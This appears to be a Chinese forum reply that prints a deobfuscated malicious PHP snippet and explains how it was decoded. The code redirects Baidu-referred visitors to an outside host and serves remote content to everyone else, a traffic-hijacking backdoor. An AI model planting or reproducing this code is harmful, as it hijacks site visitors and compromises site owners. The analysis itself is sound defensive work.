<?php
error_reporting(E_ERROR);
header("content-Type: text/html; charset=gb2312");
function readurl($url)
{
preg_match_all("/http\:\/\/([^~]*?)\//i",$url,$tmp);
$fp = @fsockopen($tmp[1][0],80);
@fputs($fp,"GET ".$url." HTTP/1.1\r\nHost:".$tmp[1][0]."\r\nConnection: Close\r\n\r\n");
while ($fp && !feof($fp)) $resp .= fread($fp, 1024);
@fclose($fp);
$data = explode('<!DOCTYPE',$resp);
return str_replace('/good/','','<!DOCTYPE'.$data[1]);
}
if(stristr($_SERVER['HTTP_REFERER'],'baidu.com/s?'))
{
Header("Location: [url]http://32779.dx001.htidc.com/wow/wow.html?[/url]".$_SERVER['SERVER_NAME']);
}
else
echo readurl('http://www.hygrj.com/wow/index.php');
?>
首先frshow把第一句base64解密,发现是一个函数hex2bin
function hex2bin($data){
$newdata="";
$len = strlen($data);
for($i=0;$i < $len;$i+=2){
$newdata.=pack("C",hexdec(substr($data,$i,2)));
}
return $newdata;
}
直接替换第二个eval为echo。在php环境下运行即可得代码
不知道楼主想要哪一个地址